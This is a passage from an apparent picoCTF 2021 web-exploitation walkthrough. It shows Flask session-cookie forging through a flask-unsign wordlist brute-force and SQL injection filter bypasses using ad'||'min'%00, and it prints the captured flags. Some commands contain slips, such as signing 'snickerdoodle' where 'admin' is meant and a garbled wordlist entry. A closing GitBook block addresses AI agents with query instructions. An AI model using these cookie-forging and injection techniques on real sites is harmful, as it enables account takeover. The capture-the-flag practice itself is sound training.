resp = make\_response(redirect("/"))\
session\["very\_auth"] = "blank"\
return resp

@app.route("/reset")\
def reset():\
resp = make\_response(redirect("/"))\
session.pop("very\_auth", None)\
return resp

@app.route("/display", methods=\["GET"])\
def flag():\
if session.get("very\_auth"):\
check = session\["very\_auth"]\
if check == "admin":\
resp = make\_response(render\_template("flag.html", value=flag\_value, title=title))\
return resp\
flash("That is a cookie! Not very special though...", "success")\
return render\_template("not-flag.html", title=title, cookie\_name=session\["very\_auth"])\
else:\
resp = make\_response(redirect("/"))\
session\["very\_auth"] = "blank"\
return resp

if **name** == "**main**":\
app.run()

![](https://miro.medium.com/v2/resize:fit:875/1*e10so_1o16drVliU4Th6Qw.png)

the provided website and the cookie

it looks like a JWT\
anyway, a little search for the basic info about flask sessions and cookies would help, I found this [useful](https://overiq.com/flask-101/sessions-in-flask/), and this [one](https://medium.com/@s12deff/hacking-flask-session-cookie-8e7abe7217a8) and got this useful info from the medium article

> It’s Flask Session Cookie JWT?
>
> **NO**, I know that they seem to have the same syntax, but it is not the same, the big doubt is because jwt.io can decrypt the flask session, however once decrypted you can see that the syntax is different. The big difference in the use of JWT to Flask, is that Flask cookies store the signature and user information on the client side of the cookie. In JWT you can choose where you want to store it.

so that’s why we get garbage when try decoding it in jwt.io

![](https://miro.medium.com/v2/resize:fit:875/1*nXciGn9p_u_mRivFvSPrqQ.png)

so we can find at [*Hacktricks*](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/flask) a good way and tool for these cookies it’s\
[flask unsign](https://pypi.org/project/flask-unsign/) so now we know how to deal with this cookie and what is it actually

going back to our source code we need to look for any secret keys,\
The app’s secret key is used to sign a flask session cookie so that it cannot be modified, we can see that the app’s secret key is set to a random cookie name :

app = Flask(**name**)\
flag\_value = open("./flag").read().rstrip()\
title = "Most Cookies"\
cookie\_names = \["snickerdoodle", "chocolate chip", "oatmeal raisin", "gingersnap", "shortbread", "peanut butter", "whoopie pie", "sugar", "molasses", "kiss", "biscotti", "butter", "spritz", "snowball", "drop", "thumbprint", "pinwheel", "wafer", "macaroon", "fortune", "crinkle", "icebox", "gingerbread", "tassie", "lebkuchen", "macaron", "black and white", "white chocolate macadamia"]\
app.secret\_key = random.choice(cookie\_names)

but we know that the secret will be one of this list, so we can use this to try them all

continuing in the source code we find that there’s a flag function part :

@app.route("/display", methods=\["GET"])\
def flag():\
if session.get("very\_auth"):\
check = session\["very\_auth"]\
if check == "admin":\
resp = make\_response(render\_template("flag.html", value=flag\_value, title=title))\
return resp\
flash("That is a cookie! Not very special though...", "success")\
return render\_template("not-flag.html", title=title, cookie\_name=session\["very\_auth"])\
else:\
resp = make\_response(redirect("/"))\
session\["very\_auth"] = "blank"\
return resp

shows that it makes a check on the session cookie with the key `very_auth` and checks to see if the value is equal to `admin`.\
So, we need to store `{"very_auth": "admin"}` in the cookie.

now all we need to do is to extract the secret key by brute-forcing it using the `flask unsign` tool, let’s take the list of the cookie names and put it in a file, and pass it to the tool to brute-force our key here is the list put in a file and call it `secrets` or whatever u want

snickerdoodle\
chocolate chip\
oatmeal raisin\
gingersnap\
shortbread\
peanut butter\
whoopie pie\
sugar\
molasses\
kiss\
biscotti\
butter\
spritz\
snowball\
drop\
thumbprint\
pinwheel\
wafer\
macaroon\
fortune\
crinkle\
icebox\
gingerbread\
tassie\
lebkuchenm\
acaron\
black and white\
white chocolate macadamia

and then we run our tool

flask-unsign --unsign --wordlist secrets --cookie 'eyJ2ZXJ5X2F1dGgiOiJzbmlja2VyZG9vZGxlIn0.ZYmNtw\.orbE-UiLGLxbpKzB0SI\_yCBUhcA'

![](https://miro.medium.com/v2/resize:fit:875/1*MEuzrl173HP7toG2xysWmQ.png)

successfully found in the **fortune,** now let’s create our valid cookie for the admin and sign it using unsign flask

flask-unsign -s -c "{'very\_auth': 'snickerdoodle'}" -S fortune

![](https://miro.medium.com/v2/resize:fit:875/1*Zn_W8WplqUBDMZY3pyNGlA.png)

![](https://miro.medium.com/v2/resize:fit:875/1*vT5sgQO3zvndzEZuMll31A.png)

we got the flag: **picoCTF{pwn\_4ll\_th3\_cook1E5\_743c20eb}**

## 10: Web Gauntlet 2

![](https://miro.medium.com/v2/resize:fit:875/1*n9LTy7OHlWd86BRDfXJltA.png)

![](https://miro.medium.com/v2/resize:fit:875/1*5A-fFvYkrVANP0msZUB0sg.png)

this time it filtered almost everything, we can bypass the admin filter by the concatenation we did before `ad'||'min'` I found this [Portswigger cheatsheet useful](https://portswigger.net/web-security/sql-injection/cheat-sheet) but after many tries nothing worked for me to comment on the password field, I looked for someone’s solution and found this pretty [one](https://picoctf2021.haydenhousen.com/web-exploitation/web-gauntlet-2) it used the null byte to terminate the query I used Burp Suite to send these data `ad’||’min’%00`

![](https://miro.medium.com/v2/resize:fit:875/1*vAGWktLniJGg5iq9DyZHvA.png)

![](https://miro.medium.com/v2/resize:fit:875/1*9EO9aT8sb_reXGYvkSE0PQ.png)

**picoCTF{0n3\_m0r3\_t1m3\_86f3e77f3c5a076866a0fdb3b29c52fd}**

## 11: Web Gauntlet 3

![](https://miro.medium.com/v2/resize:fit:875/1*aigx4zGmSPrylNsUgCx1rQ.png)

![](https://miro.medium.com/v2/resize:fit:875/1*NfwvwusP4bPAlJBbiXwaIA.png)

same filters but this time there is a character limit, the last payload will work here `ad’||’min’%00`

![](https://miro.medium.com/v2/resize:fit:875/1*KwROp8nUII0vSOeYKbYjiw.png)


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xhunterr.gitbook.io/the-nen-book/writeups/picoctf/picoctf-2021-web-exploitation-challenges-walkthrough.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
